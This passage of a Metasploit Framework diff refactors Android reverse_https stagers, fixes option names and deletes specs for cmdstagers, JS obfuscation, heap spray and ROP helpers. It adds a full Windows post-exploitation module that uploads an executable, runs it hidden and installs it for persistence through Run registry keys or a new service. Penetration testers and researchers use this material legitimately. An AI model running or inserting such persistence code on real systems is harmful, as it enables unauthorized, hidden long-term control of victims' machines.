- url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
- # TODO: perhaps wire in an existing UUID from opts?
- url << generate_uri_uuid_mode(:init_java, uri_req_len)
-
- url
+ opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
+ super(opts)
end
end
diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb
index 2c158af0f6..d2346af1b1 100644
--- a/modules/payloads/stagers/android/reverse_https.rb
+++ b/modules/payloads/stagers/android/reverse_https.rb
@@ -28,25 +28,17 @@ module MetasploitModule
))
end
- def generate_jar(opts={})
- opts[:ssl] = true
+ #
+ # Generate the transport-specific configuration
+ #
+ def transport_config(opts={})
+ transport_config_reverse_https(opts)
+ end
+
+ def generate_config_bytes(opts={})
+ uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
+ opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len)
super(opts)
end
- def payload_uri(req=nil)
- # Default URL length is 30-256 bytes
- uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
- # Generate the short default URL if we don't know available space
- if self.available_space.nil?
- uri_req_len = 5
- end
-
- url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
- # TODO: perhaps wire in an existing UUID from opts?
- url << generate_uri_uuid_mode(:init_java, uri_req_len)
-
- url
- end
-
-
end
diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb
index 408aa74d7f..ab68020d4a 100644
--- a/modules/post/multi/manage/shell_to_meterpreter.rb
+++ b/modules/post/multi/manage/shell_to_meterpreter.rb
@@ -116,7 +116,7 @@ class MetasploitModule < Msf::Post
vprint_status("Platform: Python [fallback]")
end
end
- payload_name = datastore['PAYLOAD_OVERWRITE'] if datastore['PAYLOAD_OVERWRITE']
+ payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE']
vprint_status("Upgrade payload: #{payload_name}")
if platform.blank?
@@ -201,7 +201,7 @@ class MetasploitModule < Msf::Post
#:nodelete => true # keep temp files (for debugging)
}
if session.platform =~ /win/i
- opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64')
+ opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64')
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
else
opts[:background] = true
diff --git a/modules/post/windows/manage/persistence_exe.rb b/modules/post/windows/manage/persistence_exe.rb
new file mode 100644
index 0000000000..442d92df8c
--- /dev/null
+++ b/modules/post/windows/manage/persistence_exe.rb
@@ -0,0 +1,172 @@
+###
+## This module requires Metasploit: http://metasploit.com/download
+## Current source: https://github.com/rapid7/metasploit-framework
+###
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/common'
+require 'msf/core/post/file'
+require 'msf/core/post/windows/priv'
+require 'msf/core/post/windows/registry'
+require 'msf/core/post/windows/services'
+
+class MetasploitModule < Msf::Post
+ include Msf::Post::Common
+ include Msf::Post::File
+ include Msf::Post::Windows::Priv
+ include Msf::Post::Windows::Registry
+ include Msf::Post::Windows::Services
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Windows Manage Persistent EXE Payload Installer',
+ 'Description' => %q(
+ This Module will upload a executable to a remote host and make it Persistent.
+ It can be installed as USER, SYSTEM, or SERVICE. USER will start on user login,
+ SYSTEM will start on system boot but requires privs. SERVICE will create a new service
+ which will start the payload. Again requires privs.
+ ),
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'Merlyn drforbin Cousins ' ],
+ 'Version' => '$Revision:1$',
+ 'Platform' => [ 'windows' ],
+ 'SessionTypes' => [ 'meterpreter']))
+
+ register_options(
+ [
+ OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM', 'SERVICE']]),
+ OptPath.new('REXEPATH', [true, 'The remote executable to use.']),
+ OptString.new('REXENAME', [true, 'The name to call exe on remote system', 'default.exe'])
+ ], self.class
+ )
+ end
+
+ # Run Method for when run command is issued
+ #-------------------------------------------------------------------------------
+ def run
+ print_status("Running module against #{sysinfo['Computer']}")
+
+ # Set vars
+ rexe = datastore['REXEPATH']
+ rexename = datastore['REXENAME']
+ host, _port = session.tunnel_peer.split(':')
+ @clean_up_rc = ""
+
+ raw = create_payload_from_file rexe
+
+ # Write script to %TEMP% on target
+ script_on_target = write_exe_to_target(raw, rexename)
+
+ # Initial execution of script
+ target_exec(script_on_target)
+
+ case datastore['STARTUP']
+ when /USER/i
+ write_to_reg("HKCU", script_on_target)
+ when /SYSTEM/i
+ write_to_reg("HKLM", script_on_target)
+ when /SERVICE/i
+ install_as_service(script_on_target)
+ end
+
+ clean_rc = log_file
+ file_local_write(clean_rc, @clean_up_rc)
+ print_status("Cleanup Meterpreter RC File: #{clean_rc}")
+
+ report_note(host: host,
+ type: "host.persistance.cleanup",
+ data: {
+ local_id: session.sid,
+ stype: session.type,
+ desc: session.info,
+ platform: session.platform,
+ via_payload: session.via_payload,
+ via_exploit: session.via_exploit,
+ created_at: Time.now.utc,
+ commands: @clean_up_rc
+ })
+ end
+
+ # Function for creating log folder and returning log path
+ #-------------------------------------------------------------------------------
+ def log_file(log_path = nil)
+ # Get hostname
+ host = session.sys.config.sysinfo["Computer"]
+
+ # Create Filename info to be appended to downloaded files
+ filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
+
+ # Create a directory for the logs
+ logs = if log_path
+ ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
+ else
+ ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))
+ end
+
+ # Create the log directory
+ ::FileUtils.mkdir_p(logs)
+
+ # logfile name
+ logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
+ logfile
+ end
+
+ # Function to execute script on target and return the PID of the process
+ #-------------------------------------------------------------------------------
+ def target_exec(script_on_target)
+ print_status("Executing script #{script_on_target}")
+ proc = session.sys.process.execute(script_on_target, nil, 'Hidden' => true)
+ print_good("Agent executed with PID #{proc.pid}")
+ @clean_up_rc << "kill #{proc.pid}\n"
+ proc.pid
+ end
+
+ # Function to install payload in to the registry HKLM or HKCU
+ #-------------------------------------------------------------------------------
+ def write_to_reg(key, script_on_target)
+ nam = Rex::Text.rand_text_alpha(rand(8) + 8)
+ print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
+ if key
+ registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", nam, script_on_target, "REG_SZ")
+ print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
+ else
+ print_error("Error: failed to open the registry key for writing")
+ end
+ end
+
+ # Function to install payload as a service
+ #-------------------------------------------------------------------------------
+ def install_as_service(script_on_target)
+ if is_system? || is_admin?
+ print_status("Installing as service..")
+ nam = Rex::Text.rand_text_alpha(rand(8) + 8)
+ print_status("Creating service #{nam}")
+ service_create(nam, nam, "cmd /c \"#{script_on_target}\"")
+ @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
+ else
+ print_error("Insufficient privileges to create service")
+ end
+ end
+
+ # Function for writing executable to target host
+ #-------------------------------------------------------------------------------
+ def write_exe_to_target(rexe, rexename)
+ tempdir = session.fs.file.expand_path("%TEMP%")
+ temprexe = tempdir + "\\" + rexename
+ fd = session.fs.file.new(temprexe, "wb")
+ fd.write(rexe)
+ fd.close
+
+ print_good("Persistent Script written to #{temprexe}")
+ @clean_up_rc << "rm #{temprexe}\n"
+ temprexe
+ end
+
+ # Function to create executable from a file
+ #-------------------------------------------------------------------------------
+ def create_payload_from_file(exec)
+ print_status("Reading Payload from file #{exec}")
+ ::IO.read(exec)
+ end
+end
diff --git a/plugins/nexpose.rb b/plugins/nexpose.rb
index 56b0bd1830..00c1173bc1 100644
--- a/plugins/nexpose.rb
+++ b/plugins/nexpose.rb
@@ -520,7 +520,14 @@ class Plugin::Nexpose < Msf::Plugin
print_status(" >> Created temporary report configuration ##{report.config_id}") if opt_verbose
# Run the scan
- res = site.scanSite()
+ begin
+ res = site.scanSite()
+ rescue Nexpose::APIError => e
+ nexpose_error_message = e.message
+ nexpose_error_message.gsub!(/NexposeAPI: Action failed: /, '')
+ print_error "#{nexpose_error_message}"
+ return
+ end
sid = res[:scan_id]
print_status(" >> Scan has been launched with ID ##{sid}") if opt_verbose
diff --git a/spec/lib/msf/core/auxiliary/drdos_spec.rb b/spec/lib/msf/core/auxiliary/drdos_spec.rb
index e91d084990..f1187370a7 100644
--- a/spec/lib/msf/core/auxiliary/drdos_spec.rb
+++ b/spec/lib/msf/core/auxiliary/drdos_spec.rb
@@ -34,5 +34,11 @@ RSpec.describe Msf::Auxiliary::DRDoS do
result, _ = subject.prove_amplification(map)
expect(result).to be false
end
+
+ it 'should handle empty responses' do
+ map = { '' => [ 'foo' ] }
+ result, _ = subject.prove_amplification(map)
+ expect(result).to be true
+ end
end
end
diff --git a/spec/lib/msf/core/exploit/cmdstager_spec.rb b/spec/lib/msf/core/exploit/cmdstager_spec.rb
index 9da9b54ced..6263651e51 100644
--- a/spec/lib/msf/core/exploit/cmdstager_spec.rb
+++ b/spec/lib/msf/core/exploit/cmdstager_spec.rb
@@ -601,7 +601,7 @@ RSpec.describe Msf::Exploit::CmdStager do
context "when decoder set in the datastore" do
let(:decoder) do
- File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64")
+ File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64")
end
subject do
@@ -619,7 +619,7 @@ RSpec.describe Msf::Exploit::CmdStager do
context "and decoder set in the opts" do
let(:decoder_opts) do
- File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb")
+ File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64_adodb")
end
it "returns the decoder_opts" do
@@ -637,7 +637,7 @@ RSpec.describe Msf::Exploit::CmdStager do
context "with :decoder option" do
let(:decoder) do
- File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64")
+ File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", "vbs_b64")
end
it "returns the :decoder option" do
diff --git a/spec/lib/rex/exploitation/cmdstager/base_spec.rb b/spec/lib/rex/exploitation/cmdstager/base_spec.rb
deleted file mode 100644
index edcdc1b99a..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/base_spec.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerBase do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#cmd_concat_operator' do
- it "returns nil" do
- expect(cmd_stager.cmd_concat_operator).to be_nil
- end
- end
-
- describe '#generate' do
- it "returns an empty array" do
- expect(cmd_stager.generate).to eq([])
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb
deleted file mode 100644
index 803a25f569..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerBourne do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#cmd_concat_operator' do
- it "returns ;" do
- expect(cmd_stager.cmd_concat_operator).to eq(" ; ")
- end
- end
-
- describe '#generate' do
- it "returns an array of commands" do
- result = cmd_stager.generate
-
- expect(result).to be_kind_of(Array)
- expect(result).to_not be_empty
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb b/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb
deleted file mode 100644
index d40c9f5df8..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/certutil_spec.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerCertutil do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#generate' do
- it "returns an array of commands" do
- result = cmd_stager.generate
-
- expect(result).to be_kind_of(Array)
- expect(result).to_not be_empty
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb
deleted file mode 100644
index f7e8799e89..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerDebugAsm do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#cmd_concat_operator' do
- it "returns &" do
- expect(cmd_stager.cmd_concat_operator).to eq(" & ")
- end
- end
-
- describe '#generate' do
- let(:opts) do
- {
- :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm")
- }
- end
-
- it "returns an array of commands" do
- result = cmd_stager.generate(opts)
-
- expect(result).to be_kind_of(Array)
- expect(result).to_not be_empty
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb
deleted file mode 100644
index 431a885ac1..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerDebugWrite do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#cmd_concat_operator' do
- it "returns &" do
- expect(cmd_stager.cmd_concat_operator).to eq(" & ")
- end
- end
-
- describe '#generate' do
- let(:opts) do
- {
- :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write")
- }
- end
-
- it "returns an array of commands" do
- result = cmd_stager.generate(opts)
-
- expect(result).to be_kind_of(Array)
- expect(result).to_not be_empty
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb
deleted file mode 100644
index 5bcd445fd5..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerEcho do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#cmd_concat_operator' do
- it "returns ;" do
- expect(cmd_stager.cmd_concat_operator).to eq(" ; ")
- end
- end
-
- describe '#generate' do
- it "returns an array of commands" do
- result = cmd_stager.generate
-
- expect(result).to be_kind_of(Array)
- expect(result).to_not be_empty
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb
deleted file mode 100644
index 7a86dd5538..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerPrintf do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#cmd_concat_operator' do
- it "returns ;" do
- expect(cmd_stager.cmd_concat_operator).to eq(" ; ")
- end
- end
-
- describe '#generate' do
- it "returns an array of commands" do
- result = cmd_stager.generate
-
- expect(result).to be_kind_of(Array)
- expect(result).to_not be_empty
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb
deleted file mode 100644
index bd13bd7d28..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerTFTP do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#cmd_concat_operator' do
- it "returns nil" do
- expect(cmd_stager.cmd_concat_operator).to be_nil
- end
- end
-
- describe '#generate' do
- it "returns an array of commands" do
- result = cmd_stager.generate
-
- expect(result).to be_kind_of(Array)
- expect(result).to_not be_empty
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb
deleted file mode 100644
index 0de9fcd8d1..0000000000
--- a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/cmdstager'
-
-RSpec.describe Rex::Exploitation::CmdStagerVBS do
-
- let(:exe) { "MZ" }
-
- subject(:cmd_stager) do
- described_class.new(exe)
- end
-
- describe '#cmd_concat_operator' do
- it "returns &" do
- expect(cmd_stager.cmd_concat_operator).to eq(" & ")
- end
- end
-
- describe '#generate' do
- let(:opts) do
- {
- :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
- }
- end
-
- it "returns an array of commands" do
- result = cmd_stager.generate(opts)
-
- expect(result).to be_kind_of(Array)
- expect(result).to_not be_empty
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/encryptjs_spec.rb b/spec/lib/rex/exploitation/encryptjs_spec.rb
deleted file mode 100644
index d23541b730..0000000000
--- a/spec/lib/rex/exploitation/encryptjs_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/encryptjs'
-
-RSpec.describe Rex::Exploitation::EncryptJS do
-
- let(:code) { "var test = 'metasploit';" }
- let(:key) { 'secret' }
- let(:signature) { 'metasploit' }
- let(:loader_signature) { 'location.search.substring(1);' }
- let(:loader_key_words) { ['exploit', 'encoded', 'pass', 'decoded'] }
-
- describe ".encrypt" do
- it "returns an String" do
- expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to be_an(String)
- end
-
- it "returns the JavaScript loader code" do
- expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to include(loader_signature)
- end
-
- it "encrypts the code" do
- expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(signature)
- end
-
- it "obfuscates the loader" do
- loader_key_words.each do |key_word|
- expect(Rex::Exploitation::EncryptJS.encrypt(code, key)).to_not include(key_word)
- end
- end
-
- end
-
-end
diff --git a/spec/lib/rex/exploitation/heaplib_spec.rb b/spec/lib/rex/exploitation/heaplib_spec.rb
deleted file mode 100644
index 951d530b1c..0000000000
--- a/spec/lib/rex/exploitation/heaplib_spec.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# -*- coding:binary -*-
-require 'spec_helper'
-
-require 'rex/exploitation/heaplib'
-
-RSpec.describe Rex::Exploitation::HeapLib do
-
- let(:custom_code) { "var test = 'metasploit';" }
- let(:plain_signature) { 'JavaScript Heap Exploitation library' }
- let(:signature) { 'function(maxAlloc, heapBase)' }
- let(:methods) {
- [
- 'lookasideAddr',
- 'lookaside',
- 'flushOleaut32',
- 'freeOleaut32',
- 'allocOleaut32',
- 'paddingStr',
- 'debugBreak',
- 'debugHeap'
- ]
- }
-
- subject(:heap_lib_class) do
- described_class.allocate
- end
-
- subject(:heap_lib) do
- described_class.new
- end
-
- describe "#initialize" do
- it "returns an String" do
- expect(heap_lib_class.send(:initialize)).to be_a(String)
- end
-
- it "returns the heap lib code" do
- expect(heap_lib_class.send(:initialize)).to include(signature)
- end
-
- it "obfuscates with ObfuscateJS by default" do
- methods.each do |m|
- expect(heap_lib_class.send(:initialize)).to_not include(m)
- end
- end
-
- it "allows to provide custom JS code as argument" do
- expect(heap_lib_class.send(:initialize, custom_code)).to include(custom_code)
- end
-
- it "allows to disable obfuscation" do
- expect(heap_lib_class.send(:initialize, '', {:noobfu => true})).to include(plain_signature)
- end
-
- it "allows to use JSObfu for obfuscation" do
- expect(heap_lib_class.send(:initialize, '', {:newobfu => true})).to_not include(plain_signature)
- end
- end
-
- describe "#to_s" do
- it "returns the heap lib js code" do
- expect(heap_lib.to_s).to include(signature)
- end
- end
-
-end
diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb
deleted file mode 100644
index 84b6a79487..0000000000
--- a/spec/lib/rex/exploitation/js/detect_spec.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'rex/exploitation/js'
-
-RSpec.describe Rex::Exploitation::Js::Detect do
-
- context "Class methods" do
-
- context ".os" do
- it "should load the OS detection in Javascript" do
- js = Rex::Exploitation::Js::Detect.os.to_s
- expect(js).to match /os_detect/
- end
- end
-
- context ".ie_addons" do
- it "should load the IE Addons detection in Javascript" do
- js = Rex::Exploitation::Js::Detect.ie_addons.to_s
- expect(js).to match /ie_addons_detect/
- end
- end
-
- context ".misc_addons" do
- it "should load the misc Addons detection in Javascript" do
- js = Rex::Exploitation::Js::Detect.misc_addons.to_s
- expect(js).to match /misc_addons_detect/
- end
- end
-
- end
-
-end
diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb
deleted file mode 100644
index 833c258f6d..0000000000
--- a/spec/lib/rex/exploitation/js/memory_spec.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'rex/exploitation/js'
-
-RSpec.describe Rex::Exploitation::Js::Memory do
-
- context "Class methods" do
-
- context ".mstime_malloc" do
- it "should load the mstime_malloc javascript" do
- js = Rex::Exploitation::Js::Memory.mstime_malloc
- expect(js).to match /function mstime_malloc/
- end
- end
-
- context ".property_spray" do
- it "should load the property_spray javascript" do
- js = Rex::Exploitation::Js::Memory.property_spray
- expect(js).to match /function sprayHeap/
- end
- end
-
- context ".heap_spray" do
- it "should load the heap_spray javascript" do
- js = Rex::Exploitation::Js::Memory.heap_spray
- expect(js).to match /function sprayHeap/
- end
- end
-
- end
-
-end
diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb
deleted file mode 100644
index 27581f04a2..0000000000
--- a/spec/lib/rex/exploitation/js/network_spec.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'rex/exploitation/js'
-
-RSpec.describe Rex::Exploitation::Js::Network do
-
- context "Class methods" do
-
- context ".ajax_download" do
- it "should load the ajax_download javascript" do
- js = Rex::Exploitation::Js::Network.ajax_download
- expect(js).to match /function ajax_download/
- end
- end
-
- context ".ajax_post" do
- it "should load the postInfo javascript" do
- js = Rex::Exploitation::Js::Network.ajax_post
- expect(js).to match /function postInfo/
- end
- end
-
- end
-
-end
diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb
deleted file mode 100644
index bb95bf0bdf..0000000000
--- a/spec/lib/rex/exploitation/js/utils_spec.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require 'rex/exploitation/js'
-
-RSpec.describe Rex::Exploitation::Js::Utils do
-
- context "Class methods" do
-
- context ".base64" do
- it "should load the base64 javascript" do
- js = Rex::Exploitation::Js::Utils.base64
- expect(js).to match /encode : function/
- end
- end
-
- end
-
-end
diff --git a/spec/lib/rex/exploitation/jsobfu_spec.rb b/spec/lib/rex/exploitation/jsobfu_spec.rb
deleted file mode 100644
index e1f0c66085..0000000000
--- a/spec/lib/rex/exploitation/jsobfu_spec.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'spec_helper'
-require 'rex/exploitation/jsobfu'
-
-RSpec.describe Rex::Exploitation::JSObfu do
- TEST_JS = %Q|
- function x() {
- alert('1');
- };
-
- x();
- |
-
- subject(:jsobfu) do
- described_class.new(TEST_JS)
- end
-
- describe '#obfuscate' do
-
- it 'returns a #to_s object' do
- expect(jsobfu.obfuscate.to_s).to be_a(String)
- end
-
- it 'returns a non-empty String' do
- expect(jsobfu.obfuscate.to_s).not_to be_empty
- end
-
- end
-
-end
diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb
deleted file mode 100644
index 8e96de9d84..0000000000
--- a/spec/lib/rex/exploitation/ropdb_spec.rb
+++ /dev/null
@@ -1,85 +0,0 @@
-require 'rex/exploitation/ropdb'
-
-RSpec.describe Rex::Exploitation::RopDb do
-
- subject(:ropdb) do
- described_class.new
- end
-
- context "Class methods" do
-
- context ".initialize" do
- it "should initialize with a path of the ROP database ready" do
- expect(ropdb.instance_variable_get(:@base_path)).to match /data\/ropdb\/$/
- end
- end
-
- context ".has_rop?" do
- it "should find the msvcrt ROP database" do
- expect(ropdb.has_rop?("msvcrt")).to be_truthy
- end
-
- it "should find the java ROP database" do
- expect(ropdb.has_rop?("java")).to be_truthy
- end
-
- it "should find the hxds ROP database" do
- expect(ropdb.has_rop?("hxds")).to be_truthy
- end
-
- it "should find the flash ROP database" do
- expect(ropdb.has_rop?("flash")).to be_truthy
- end
-
- it "should return false when I supply an invalid database" do
- expect(ropdb.has_rop?("sinn3r")).to be_falsey
- end
- end
-
- context ".select_rop" do
- it "should return msvcrt gadgets" do
- gadgets = ropdb.select_rop('msvcrt')
- expect(gadgets.length).to be > 0
- end
-
- it "should return msvcrt gadgets for windows server 2003" do
- gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'})
- expect(gadgets.length).to be > 0
- end
-
- it "should return msvcrt gadgets with a new base" do
- gadgets1 = ropdb.select_rop('msvcrt')
- gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000})
-
- expect(gadgets2[0]).not_to eq(gadgets1[0])
- end
- end
-
- context ".generate_rop_payload" do
- it "should generate my ROP payload" do
- expect(ropdb.generate_rop_payload('msvcrt', 'AAAA')).to match /AAAA$/
- end
-
- it "should generate my ROP payload with my stack pivot" do
- expect(ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'})).to match /^BBBB/
- end
- end
-
- context ".get_safe_size" do
- it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do
- expect(ropdb.send(:get_safe_size, 304)).to eq(0xfffffed0)
- end
-
- it "should return 0xfffffeff (value is modified to avoid null bytes)" do
- expect(ropdb.send(:get_safe_size, 256)).to eq(0xfffffeff)
- end
- end
-
- context ".get_unsafe_size" do
- it "should return 0xfffffc00 (contains a null byte)" do
- expect(ropdb.send(:get_unsafe_size, 1024)).to eq(0xfffffc00)
- end
- end
-
- end
-end